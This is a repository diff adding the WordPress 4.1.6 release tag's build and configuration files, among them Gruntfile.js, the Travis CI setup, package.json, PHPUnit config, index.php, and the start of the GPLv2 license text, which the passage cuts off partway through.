Index: /tags/4.1.6/.editorconfig
===================================================================
--- /tags/4.1.6/.editorconfig	(revision 33402)
+++ /tags/4.1.6/.editorconfig	(revision 33402)
@@ -0,0 +1,21 @@
+# This file is for unifying the coding style for different editors and IDEs
+# editorconfig.org
+
+# WordPress Coding Standards
+# http://make.wordpress.org/core/handbook/coding-standards/
+
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+insert_final_newline = true
+trim_trailing_whitespace = true
+indent_style = tab
+
+[{.jshintrc,*.json,*.yml}]
+indent_style = space
+indent_size = 2
+
+[{*.txt,wp-config-sample.php}]
+end_of_line = crlf
Index: /tags/4.1.6/.gitignore
===================================================================
--- /tags/4.1.6/.gitignore	(revision 33402)
+++ /tags/4.1.6/.gitignore	(revision 33402)
@@ -0,0 +1,41 @@
+# gitignore file for WordPress Core
+
+# Configuration files with possibly sensitive information
+wp-config.php
+wp-tests-config.php
+.htaccess
+
+# Files and folders related to build/test tools
+/phpunit.xml
+/tests/phpunit/data/plugins/wordpress-importer
+/tests/phpunit/data/.trac-ticket-cache*
+/tests/qunit/compiled.html
+/src/.wp-tests-version
+/node_modules
+/npm-debug.log
+/build
+/tests/phpunit/build
+/wp-cli.local.yml 
+
+# Files and folders that get created in wp-content
+/src/wp-content/blogs.dir
+/src/wp-content/languages
+/src/wp-content/mu-plugins
+/src/wp-content/plugins
+/src/wp-content/themes
+/src/wp-content/upgrade
+/src/wp-content/uploads
+/src/wp-content/advanced-cache.php
+/src/wp-content/blog-deleted.php
+/src/wp-content/blog-inactive.php
+/src/wp-content/blog-suspended.php
+/src/wp-content/db.php
+/src/wp-content/db-error.php
+/src/wp-content/debug.log
+/src/wp-content/install.php
+/src/wp-content/maintenance.php
+/src/wp-content/object-cache.php
+/src/wp-content/sunrise.php
+
+# Ignore other .gitignore files to allow for personal customizations
+.gitignore
Index: /tags/4.1.6/.jshintrc
===================================================================
--- /tags/4.1.6/.jshintrc	(revision 33402)
+++ /tags/4.1.6/.jshintrc	(revision 33402)
@@ -0,0 +1,24 @@
+{
+	"boss": true,
+	"curly": true,
+	"eqeqeq": true,
+	"eqnull": true,
+	"es3": true,
+	"expr": true,
+	"immed": true,
+	"noarg": true,
+	"onevar": true,
+	"quotmark": "single",
+	"trailing": true,
+	"undef": true,
+	"unused": true,
+
+	"browser": true,
+
+	"globals": {
+		"_": false,
+		"Backbone": false,
+		"jQuery": false,
+		"wp": false
+	}
+}
Index: /tags/4.1.6/.travis.yml
===================================================================
--- /tags/4.1.6/.travis.yml	(revision 33402)
+++ /tags/4.1.6/.travis.yml	(revision 33402)
@@ -0,0 +1,46 @@
+# Travis CI Configuration File
+
+# Tell Travis CI we're using PHP
+language: php
+
+# Build matrix options
+matrix:
+  include:
+    - php: 5.5
+      env: WP_TRAVISCI=travis:js
+    - php: 5.2
+      env: WP_TRAVISCI=travis:phpunit
+    - php: 5.3
+      env: WP_TRAVISCI=travis:phpunit
+    - php: 5.4
+      env: WP_TRAVISCI=travis:phpunit
+    - php: 5.5
+      env: WP_TRAVISCI=travis:phpunit
+    - php: 5.6
+      env: WP_TRAVISCI=travis:phpunit
+    - php: hhvm
+      env: WP_TRAVISCI=travis:phpunit
+  allow_failures:
+    - php: hhvm
+  fast_finish: true
+
+# Before install, failures in this section will result in build status 'errored'
+before_install:
+  - WP_CORE_DIR=/tmp/wordpress/
+  - >
+    if [[ "$WP_TRAVISCI" == "travis:phpunit" ]]; then
+        mysql -e "CREATE DATABASE wordpress_tests;" -uroot
+        cp wp-tests-config-sample.php wp-tests-config.php
+        sed -i "s/youremptytestdbnamehere/wordpress_tests/" wp-tests-config.php
+        sed -i "s/yourusernamehere/travis/" wp-tests-config.php
+        sed -i "s/yourpasswordhere//" wp-tests-config.php
+        svn checkout https://plugins.svn.wordpress.org/wordpress-importer/trunk tests/phpunit/data/plugins/wordpress-importer
+    fi
+
+# Before script, failures in this section will result in build status 'failed'
+before_script:
+  - npm install -g grunt-cli
+  - npm install
+
+# Script, failures in this section will result in build status 'failed'
+script: grunt $WP_TRAVISCI
Index: /tags/4.1.6/Gruntfile.js
===================================================================
--- /tags/4.1.6/Gruntfile.js	(revision 33402)
+++ /tags/4.1.6/Gruntfile.js	(revision 33402)
@@ -0,0 +1,530 @@
+/* jshint node:true */
+module.exports = function(grunt) {
+	var path = require('path'),
+		SOURCE_DIR = 'src/',
+		BUILD_DIR = 'build/';
+
+	// Load tasks.
+	require('matchdep').filterDev(['grunt-*', '!grunt-legacy-util']).forEach( grunt.loadNpmTasks );
+	// Load legacy utils
+	grunt.util = require('grunt-legacy-util');
+
+	// Project configuration.
+	grunt.initConfig({
+		autoprefixer: {
+			options: {
+				browsers: ['Android >= 2.1', 'Chrome >= 21', 'Explorer >= 7', 'Firefox >= 17', 'Opera >= 12.1', 'Safari >= 6.0'],
+				cascade: false
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: SOURCE_DIR,
+				src: [
+					'wp-admin/css/*.css',
+					'wp-includes/css/*.css'
+				]
+			},
+			colors: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				src: [
+					'wp-admin/css/colors/*/colors.css'
+				]
+			}
+		},
+		clean: {
+			all: [BUILD_DIR],
+			dynamic: {
+				dot: true,
+				expand: true,
+				cwd: BUILD_DIR,
+				src: []
+			},
+			tinymce: ['<%= concat.tinymce.dest %>'],
+			qunit: ['tests/qunit/compiled.html']
+		},
+		copy: {
+			files: {
+				files: [
+					{
+						dot: true,
+						expand: true,
+						cwd: SOURCE_DIR,
+						src: [
+							'**',
+							'!**/.{svn,git}/**', // Ignore version control directories.
+							// Ignore unminified versions of external libs we don't ship:
+							'!wp-includes/js/backbone.js',
+							'!wp-includes/js/underscore.js',
+							'!wp-includes/js/jquery/jquery.masonry.js',
+							'!wp-includes/js/jquery/ui/*.js',
+							'!wp-includes/js/tinymce/tinymce.js',
+							'!wp-includes/version.php' // Exclude version.php
+						],
+						dest: BUILD_DIR
+					},
+					{
+						src: 'wp-config-sample.php',
+						dest: BUILD_DIR
+					}
+				]
+			},
+			'wp-admin-rtl': {
+				options: {
+					processContent: function( src ) {
+						return src.replace( /\.css/g, '-rtl.css' );
+					}
+				},
+				src: SOURCE_DIR + 'wp-admin/css/wp-admin.css',
+				dest: BUILD_DIR + 'wp-admin/css/wp-admin-rtl.css'
+			},
+			version: {
+				options: {
+					processContent: function( src ) {
+						return src.replace( /^\$wp_version = '(.+?)';/m, function( str, version ) {
+							version = version.replace( /-src$/, '' );
+
+							// If the version includes an SVN commit (-12345), it's not a released alpha/beta. Append a date.
+							version = version.replace( /-[\d]{5}$/, '-' + grunt.template.today( 'yyyymmdd' ) );
+
+							/* jshint quotmark: true */
+							return "$wp_version = '" + version + "';";
+						});
+					}
+				},
+				src: SOURCE_DIR + 'wp-includes/version.php',
+				dest: BUILD_DIR + 'wp-includes/version.php'
+			},
+			dynamic: {
+				dot: true,
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				src: []
+			},
+			qunit: {
+				src: 'tests/qunit/index.html',
+				dest: 'tests/qunit/compiled.html',
+				options: {
+					processContent: function( src ) {
+						return src.replace( /([^\.])*\.\.\/src/ig , '/../build' );
+					}
+				}
+			}
+		},
+		sass: {
+			colors: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.css',
+				src: ['wp-admin/css/colors/*/colors.scss'],
+				options: {
+					outputStyle: 'expanded'
+				}
+			}
+		},
+		cssmin: {
+			options: {
+				'wp-admin': ['wp-admin', 'color-picker', 'customize-controls', 'customize-widgets', 'ie', 'install', 'login', 'deprecated-*']
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-admin/css/{<%= cssmin.options["wp-admin"] %>}.css',
+					'wp-includes/css/*.css'
+				]
+			},
+			rtl: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-admin/css/{<%= cssmin.options["wp-admin"] %>}-rtl.css',
+					'wp-includes/css/*-rtl.css'
+				]
+			},
+			colors: {
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.css',
+				src: [
+					'wp-admin/css/colors/*/*.css'
+				]
+			}
+		},
+		cssjanus: {
+			core: {
+				options: {
+					swapLtrRtlInUrl: false,
+					processContent: function( src ) {
+						return src.replace( /url\((.+?)\.css\)/g, 'url($1-rtl.css)' );
+					}
+				},
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '-rtl.css',
+				src: [
+					'wp-admin/css/*.css',
+					'wp-includes/css/*.css'
+				]
+			},
+			colors: {
+				options: {
+					processContent: function( src ) {
+						return src.replace( /([^/]+)\.css/gi, '$1-rtl.css' );
+					}
+				},
+				expand: true,
+				cwd: BUILD_DIR,
+				dest: BUILD_DIR,
+				ext: '-rtl.css',
+				src: [
+					'wp-admin/css/colors/*/colors.css'
+				]
+			},
+			dynamic: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '-rtl.css',
+				src: []
+			}
+		},
+		jshint: {
+			options: grunt.file.readJSON('.jshintrc'),
+			grunt: {
+				src: ['Gruntfile.js']
+			},
+			tests: {
+				src: [
+					'tests/qunit/**/*.js',
+					'!tests/qunit/vendor/*',
+					'!tests/qunit/editor/**'
+				],
+				options: grunt.file.readJSON('tests/qunit/.jshintrc')
+			},
+			themes: {
+				expand: true,
+				cwd: SOURCE_DIR + 'wp-content/themes',
+				src: [
+					'twenty*/**/*.js',
+					'!twenty{eleven,twelve,thirteen}/**',
+					// Third party scripts
+					'!twenty{fourteen,fifteen}/js/html5.js'
+				]
+			},
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				src: [
+					'wp-admin/js/*.js',
+					'wp-includes/js/*.js',
+					// WordPress scripts inside directories
+					'wp-includes/js/jquery/jquery.table-hotkeys.js',
+					'wp-includes/js/mediaelement/wp-mediaelement.js',
+					'wp-includes/js/plupload/handlers.js',
+					'wp-includes/js/plupload/wp-plupload.js',
+					'wp-includes/js/tinymce/plugins/wordpress/plugin.js',
+					'wp-includes/js/tinymce/plugins/wp*/plugin.js',
+					// Third party scripts
+					'!wp-admin/js/farbtastic.js',
+					'!wp-includes/js/backbone*.js',
+					'!wp-includes/js/swfobject.js',
+					'!wp-includes/js/underscore*.js',
+					'!wp-includes/js/colorpicker.js',
+					'!wp-includes/js/hoverIntent.js',
+					'!wp-includes/js/json2.js',
+					'!wp-includes/js/tw-sack.js',
+					'!**/*.min.js'
+				],
+				// Remove once other JSHint errors are resolved
+				options: {
+					curly: false,
+					eqeqeq: false
+				},
+				// Limit JSHint's run to a single specified file:
+				//
+				//    grunt jshint:core --file=filename.js
+				//
+				// Optionally, include the file path:
+				//
+				//    grunt jshint:core --file=path/to/filename.js
+				//
+				filter: function( filepath ) {
+					var index, file = grunt.option( 'file' );
+
+					// Don't filter when no target file is specified
+					if ( ! file ) {
+						return true;
+					}
+
+					// Normalize filepath for Windows
+					filepath = filepath.replace( /\\/g, '/' );
+					index = filepath.lastIndexOf( '/' + file );
+
+					// Match only the filename passed from cli
+					if ( filepath === file || ( -1 !== index && index === filepath.length - ( file.length + 1 ) ) ) {
+						return true;
+					}
+
+					return false;
+				}
+			},
+			plugins: {
+				expand: true,
+				cwd: SOURCE_DIR + 'wp-content/plugins',
+				src: [
+					'**/*.js',
+					'!**/*.min.js'
+				],
+				// Limit JSHint's run to a single specified plugin directory:
+				//
+				//    grunt jshint:plugins --dir=foldername
+				//
+				filter: function( dirpath ) {
+					var index, dir = grunt.option( 'dir' );
+
+					// Don't filter when no target folder is specified
+					if ( ! dir ) {
+						return true;
+					}
+
+					dirpath = dirpath.replace( /\\/g, '/' );
+					index = dirpath.lastIndexOf( '/' + dir );
+
+					// Match only the folder name passed from cli
+					if ( -1 !== index ) {
+						return true;
+					}
+
+					return false;
+				}
+			}
+		},
+		qunit: {
+			files: [
+				'tests/qunit/**/*.html',
+				'!tests/qunit/editor/**'
+			]
+		},
+		phpunit: {
+			'default': {
+				cmd: 'phpunit',
+				args: ['-c', 'phpunit.xml.dist']
+			},
+			ajax: {
+				cmd: 'phpunit',
+				args: ['-c', 'phpunit.xml.dist', '--group', 'ajax']
+			},
+			multisite: {
+				cmd: 'phpunit',
+				args: ['-c', 'tests/phpunit/multisite.xml']
+			},
+			'external-http': {
+				cmd: 'phpunit',
+				args: ['-c', 'phpunit.xml.dist', '--group', 'external-http']
+			}
+		},
+		uglify: {
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.js',
+				src: [
+					'wp-admin/js/*.js',
+					'wp-includes/js/*.js',
+					'wp-includes/js/plupload/handlers.js',
+					'wp-includes/js/plupload/wp-plupload.js',
+					'wp-includes/js/tinymce/plugins/wordpress/plugin.js',
+					'wp-includes/js/tinymce/plugins/wp*/plugin.js',
+
+					// Exceptions
+					'!wp-admin/js/custom-header.js', // Why? We should minify this.
+					'!wp-admin/js/farbtastic.js',
+					'!wp-admin/js/iris.min.js',
+					'!wp-includes/js/backbone.min.js',
+					'!wp-includes/js/swfobject.js',
+					'!wp-includes/js/underscore.min.js',
+					'!wp-includes/js/zxcvbn.min.js'
+				]
+			},
+			jqueryui: {
+				options: {
+					preserveComments: 'some'
+				},
+				expand: true,
+				cwd: SOURCE_DIR,
+				dest: BUILD_DIR,
+				ext: '.min.js',
+				src: ['wp-includes/js/jquery/ui/*.js']
+			}
+		},
+		concat: {
+			tinymce: {
+				options: {
+					separator: '\n',
+					process: function( src, filepath ) {
+						return '// Source: ' + filepath.replace( BUILD_DIR, '' ) + '\n' + src;
+					}
+				},
+				src: [
+					BUILD_DIR + 'wp-includes/js/tinymce/tinymce.min.js',
+					BUILD_DIR + 'wp-includes/js/tinymce/themes/modern/theme.min.js',
+					BUILD_DIR + 'wp-includes/js/tinymce/plugins/*/plugin.min.js'
+				],
+				dest: BUILD_DIR + 'wp-includes/js/tinymce/wp-tinymce.js'
+			}
+		},
+		compress: {
+			tinymce: {
+				options: {
+					mode: 'gzip',
+					level: 9
+				},
+				src: '<%= concat.tinymce.dest %>',
+				dest: BUILD_DIR + 'wp-includes/js/tinymce/wp-tinymce.js.gz'
+			}
+		},
+		jsvalidate:{
+			options: {
+				globals: {},
+				esprimaOptions:{},
+				verbose: false
+			},
+			build: {
+				files: {
+					src: [
+						BUILD_DIR + 'wp-{admin,includes}/**/*.js',
+						BUILD_DIR + 'wp-content/themes/twenty*/**/*.js'
+					]
+				}
+			}
+		},
+		imagemin: {
+			core: {
+				expand: true,
+				cwd: SOURCE_DIR,
+				src: [
+					'wp-{admin,includes}/images/**/*.{png,jpg,gif,jpeg}',
+					'wp-includes/js/tinymce/skins/wordpress/images/*.{png,jpg,gif,jpeg}'
+				],
+				dest: SOURCE_DIR
+			}
+		},
+		watch: {
+			all: {
+				files: [
+					SOURCE_DIR + '**',
+					// Ignore version control directories.
+					'!' + SOURCE_DIR + '**/.{svn,git}/**'
+				],
+				tasks: ['clean:dynamic', 'copy:dynamic'],
+				options: {
+					dot: true,
+					spawn: false,
+					interval: 2000
+				}
+			},
+			config: {
+				files: 'Gruntfile.js'
+			},
+			colors: {
+				files: [SOURCE_DIR + 'wp-admin/css/colors/**'],
+				tasks: ['sass:colors']
+			},
+			rtl: {
+				files: [
+					SOURCE_DIR + 'wp-admin/css/*.css',
+					SOURCE_DIR + 'wp-includes/css/*.css'
+				],
+				tasks: ['cssjanus:dynamic'],
+				options: {
+					spawn: false,
+					interval: 2000
+				}
+			},
+			test: {
+				files: [
+					'tests/qunit/**',
+					'!tests/qunit/editor/**'
+				],
+				tasks: ['qunit']
+			}
+		}
+	});
+
+	// Register tasks.
+
+	// RTL task.
+	grunt.registerTask('rtl', ['cssjanus:core', 'cssjanus:colors']);
+
+	// Color schemes task.
+	grunt.registerTask('colors', ['sass:colors', 'autoprefixer:colors']);
+
+	// JSHint task.
+	grunt.registerTask('jshint:corejs', ['jshint:grunt', 'jshint:tests', 'jshint:themes', 'jshint:core']);
+
+	// Pre-commit task.
+	grunt.registerTask('precommit', 'Runs front-end dev/test tasks in preparation for a commit.',
+		['autoprefixer:core', 'imagemin:core', 'jshint:corejs', 'qunit:compiled']);
+
+	// Copy task.
+	grunt.registerTask('copy:all', ['copy:files', 'copy:wp-admin-rtl', 'copy:version']);
+
+	// Build task.
+	grunt.registerTask('build', ['clean:all', 'copy:all', 'cssmin:core', 'colors', 'rtl', 'cssmin:rtl', 'cssmin:colors',
+		'uglify:core', 'uglify:jqueryui', 'concat:tinymce', 'compress:tinymce', 'clean:tinymce', 'jsvalidate:build']);
+
+	// Testing tasks.
+	grunt.registerMultiTask('phpunit', 'Runs PHPUnit tests, including the ajax, external-http, and multisite tests.', function() {
+		grunt.util.spawn({
+			cmd: this.data.cmd,
+			args: this.data.args,
+			opts: {stdio: 'inherit'}
+		}, this.async());
+	});
+
+	grunt.registerTask('qunit:compiled', 'Runs QUnit tests on compiled as well as uncompiled scripts.',
+		['build', 'copy:qunit', 'qunit']);
+
+	grunt.registerTask('test', 'Runs all QUnit and PHPUnit tasks.', ['qunit:compiled', 'phpunit']);
+
+	// Travis CI tasks.
+	grunt.registerTask('travis:js', 'Runs Javascript Travis CI tasks.', [ 'jshint:corejs', 'qunit:compiled' ]);
+	grunt.registerTask('travis:phpunit', 'Runs PHPUnit Travis CI tasks.', 'phpunit');
+
+	// Patch task.
+	grunt.renameTask('patch_wordpress', 'patch');
+
+	// Default task.
+	grunt.registerTask('default', ['build']);
+
+	// Add a listener to the watch task.
+	//
+	// On `watch:all`, automatically updates the `copy:dynamic` and `clean:dynamic`
+	// configurations so that only the changed files are updated.
+	// On `watch:rtl`, automatically updates the `cssjanus:dynamic` configuration.
+	grunt.event.on('watch', function( action, filepath, target ) {
+		if ( target !== 'all' && target !== 'rtl' ) {
+			return;
+		}
+
+		var relativePath = path.relative( SOURCE_DIR, filepath ),
+			cleanSrc = ( action === 'deleted' ) ? [relativePath] : [],
+			copySrc = ( action === 'deleted' ) ? [] : [relativePath];
+
+		grunt.config(['clean', 'dynamic', 'src'], cleanSrc);
+		grunt.config(['copy', 'dynamic', 'src'], copySrc);
+		grunt.config(['cssjanus', 'dynamic', 'src'], copySrc);
+	});
+};
Index: /tags/4.1.6/package.json
===================================================================
--- /tags/4.1.6/package.json	(revision 33402)
+++ /tags/4.1.6/package.json	(revision 33402)
@@ -0,0 +1,31 @@
+{
+  "name": "WordPress",
+  "version": "4.1.6",
+  "description": "WordPress is web software you can use to create a beautiful website or blog.",
+  "repository": {
+    "type": "svn",
+    "url": "https://develop.svn.wordpress.org/trunk"
+  },
+  "author": "The WordPress Contributors",
+  "license": "GPLv2 or later",
+  "devDependencies": {
+    "grunt": "~0.4.5",
+    "grunt-autoprefixer": "~1.0.1",
+    "grunt-contrib-clean": "~0.6.0",
+    "grunt-contrib-compress": "~0.12.0",
+    "grunt-contrib-concat": "~0.5.0",
+    "grunt-contrib-copy": "~0.7.0",
+    "grunt-contrib-cssmin": "~0.10.0",
+    "grunt-contrib-imagemin": "~0.9.1",
+    "grunt-contrib-jshint": "~0.10.0",
+    "grunt-contrib-qunit": "~0.5.2",
+    "grunt-contrib-uglify": "~0.6.0",
+    "grunt-contrib-watch": "~0.6.1",
+    "grunt-cssjanus": "git://github.com/ocean90/grunt-cssjanus.git#97c43554ff7a86e2ff414d34e66725b05118bf10",
+    "grunt-jsvalidate": "~0.2.2",
+    "grunt-legacy-util": "^0.2.0",
+    "grunt-patch-wordpress": "~0.2.1",
+    "grunt-sass": "~0.16.0",
+    "matchdep": "~0.3.0"
+  }
+}
Index: /tags/4.1.6/phpunit.xml.dist
===================================================================
--- /tags/4.1.6/phpunit.xml.dist	(revision 33402)
+++ /tags/4.1.6/phpunit.xml.dist	(revision 33402)
@@ -0,0 +1,32 @@
+<phpunit
+	bootstrap="tests/phpunit/includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        >
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite>
+            <directory suffix=".php">tests/phpunit/tests</directory>
+            <exclude>tests/phpunit/tests/actions/closures.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor_gd.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor_imagick.php</exclude>
+            <file phpVersion="5.3.0">tests/phpunit/tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor_gd.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor_imagick.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+            <group>external-http</group>
+        </exclude>
+    </groups>
+    <logging>
+        <log type="junit" target="tests/phpunit/build/logs/junit.xml" logIncompleteSkipped="false"/>
+    </logging>
+    <php>
+        <const name="WP_RUN_CORE_TESTS" value="1" />
+    </php>
+</phpunit>
Index: /tags/4.1.6/src/index.php
===================================================================
--- /tags/4.1.6/src/index.php	(revision 33402)
+++ /tags/4.1.6/src/index.php	(revision 33402)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * Front to the WordPress application. This file doesn't do anything, but loads
+ * wp-blog-header.php which does and tells WordPress to load the theme.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tells WordPress to load the WordPress theme and output it.
+ *
+ * @var bool
+ */
+define('WP_USE_THEMES', true);
+
+/** Loads the WordPress Environment and Template */
+require( dirname( __FILE__ ) . '/wp-blog-header.php' );
Index: /tags/4.1.6/src/license.txt
===================================================================
--- /tags/4.1.6/src/license.txt	(revision 33402)
+++ /tags/4.1.6/src/license.txt	(revision 33402)
@@ -0,0 +1,385 @@
+WordPress - Web publishing software
+
+Copyright 2015 by the contributors
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+
+This program incorporates work covered by the following copyright and
+permission notices:
+
+  b2 is (c) 2001, 2002 Michel Valdrighi - m@tidakada.com -
+  http://tidakada.com
+
+  Wherever third party code has been used, credit has been given in the code's
+  comments.
+
+  b2 is released under the GPL
+
+and
+
+  WordPress - Web publishing software
+
+  Copyright 2003-2010 by the contributors
+
+  WordPress is released under the GPL
+
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
